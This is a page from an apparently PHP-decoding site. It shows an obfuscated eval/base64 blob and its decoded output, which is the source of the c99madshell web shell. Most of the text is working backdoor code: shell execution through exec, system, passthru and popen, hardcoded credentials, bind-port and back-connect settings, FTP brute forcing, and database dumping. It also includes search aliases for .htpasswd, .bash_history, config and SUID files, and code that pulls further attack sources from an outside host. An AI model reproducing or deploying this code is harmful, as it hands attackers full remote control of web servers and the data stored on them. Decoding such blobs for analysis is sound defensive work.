Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('FJ3HkqPKFkU/53UEA7wb4q3wRjB5gfdGePj6S426O0KqUpJ59l6rC6..

Decoded Output download

if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} error_reporting(5); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); $win = strtolower(substr(PHP_OS,0,3)) == "win"; define("starttime",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 shadow edition"; if (empty($surl)) { $surl = $_SERVER['PHP_SELF']; } $surl = htmlspecialchars($surl); $timelimit = 0; $host_allow = array("*"); $login_txt = "Admin area"; $accessdeniedmess = "<a href=\"http://no.net\">c99madshell v.".$shver."</a>: access denied"; $gzipencode = TRUE; $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; $filestealth = TRUE; $donated_html = "<center><b>Owned by root</b></center>"; $donated_act = array(""); $curdir = "./"; $tmpdir = ""; $tmpdir_log = "./"; $log_email = "[email protected]"; $sort_default = "0a"; $sort_save = TRUE; $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), array("config.php",1) ); $safemode_diskettes = array("a"); $hexdump_lines = 8; $hexdump_rows = 24; $nixpwdperpage = 100; $bindport_pass = "c99mad"; $bindport_port = "31373"; $bc_port = "31373"; $datapipe_localport = "8081"; if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c99shvars"; $usefsbuff = TRUE; $copy_unset = FALSE; $quicklaunch = array( array("<b><hr>HOME</b>",$surl), array("<b><=</b>","#\" onclick=\"history.back(1)"), array("<b>=></b>","#\" onclick=\"history.go(1)"), array("<b>UPDIR</b>","#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='%upd';document.todo.sort.value='%sort';document.todo.submit();"), array("<b>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"), array("<b>Buffer</b>","#\" onclick=\"document.todo.act.value='fsbuff';document.todo.d.value='%d';document.todo.submit();"), array("<b>Tools</b>","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"), array("<b>Proc.</b>","#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='%d';document.todo.submit();"), array("<b>FTP brute</b>","#\" onclick=\"document.todo.act.value='ftpquickbrute';document.todo.d.value='%d';document.todo.submit();"), array("<b>Sec.</b>","#\" onclick=\"document.todo.act.value='security';document.todo.d.value='%d';document.todo.submit();"), array("<b>SQL</b>","#\" onclick=\"document.todo.act.value='sql';document.todo.d.value='%d';document.todo.submit();"), array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"), array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"), array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c99shcook"]); @set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://no.net\">c99madshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} function authenticate(){ global $_SERVER; $lgn = 'qw'; $pwd = 'b44401d166e5a8db2d5040ca46d35119'; if(!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] <> $lgn || md5($_SERVER['PHP_AUTH_PW']) <> $pwd){ $no = md5(date('Y-m-d H:i',time()).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY); header('HTTP/1.1 401 Unauthorized'); header("WWW-Authenticate: Basic realm=\"{$password}\", algorithm=MD5, nonce=\"{$no}\""); die(); } } /*authenticate();*/ function authenticate2(){ global $_POST; $lgn = 'qw'; $pwd = 'b44401d166e5a8db2d5040ca46d35119'; if($_POST['login'] == $lgn && md5($_POST['pass']) == $pwd){ $_COOKIE['dglogin'] = $_POST['login']; $_COOKIE['dgpass'] = md5($_POST['pass']); SetCookie('dglogin', $_COOKIE['dglogin']); SetCookie('dgpass', $_COOKIE['dgpass']); } if($_COOKIE['dglogin'] <> $lgn || $_COOKIE['dgpass'] <> $pwd){ echo"<form action='{$_SERVER['REQUEST_URI']}' method='POST'><input type='text' name='login'><br/><input name='pass' type='password'><br /><input type='submit' value='authenticate'></form>"; die(); } } authenticate2(); if (isset($_POST['act'])) $act = $_POST['act']; if (isset($_POST['d'])) $d = urldecode($_POST['d']); if (isset($_POST['sort'])) $sort = $_POST['sort']; if (isset($_POST['f'])) $f = $_POST['f']; if (isset($_POST['ft'])) $ft = $_POST['ft']; if (isset($_POST['grep'])) $grep = $_POST['grep']; if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort']; if (isset($_POST['pid'])) $pid = $_POST['pid']; if (isset($_POST['sig'])) $sig = $_POST['sig']; if (isset($_POST['base64'])) $base64 = $_POST['base64']; if (isset($_POST['fullhexdump'])) $fullhexdump = $_POST['fullhexdump']; if (isset($_POST['c'])) $c = $_POST['c']; if (isset($_POST['white'])) $white = $_POST['white']; if (isset($_POST['nixpasswd'])) $nixpasswd = $_POST['nixpasswd']; $lastdir = realpath("."); chdir($curdir); $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } if (!function_exists("c99_buff_prepare")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c99_buff_prepare(); if (!function_exists("c99_sess_put")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} else {return "<font color=green>".view_perms(fileperms($o))."</font>";} } } if (!function_exists("c99getsource")) { function c99getsource($fn) { global $c99sh_sourcesurl; $array = array( "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", "c99sh_bindport.c" => "c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = "# Dumped by C99madShell.SQL v. ".$shver." # Home page: http://no.net # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # DB: \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";} $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";

"; $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------

"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; $sql_query = urldecode($sql_query); if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo "<table border=0><tr><td><form method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; if ($tbl_struct) { echo "<td valign=\"top\"><b>Fields:</b><br>"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "> <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} echo "</td></tr></table>"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists("c99fsearch")) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function c99shexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = TRUE; $hsafemode = "<font color=red>ON (secure)</font>"; } else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"#\" onclick=\"document.todo.act.value='phpinfo';document.todo.submit();\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); @ini_set("highlight.comment",$highlight_comment); @ini_set("highlight.default",$highlight_default); @ini_set("highlight.html",$highlight_html); @ini_set("highlight.keyword",$highlight_keyword); @ini_set("highlight.string",$highlight_string); if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); echo"<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><meta http-equiv=\"Content-Language\" content=\"en-us\"><title>"; echo getenv("HTTP_HOST"); echo " - SShell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' 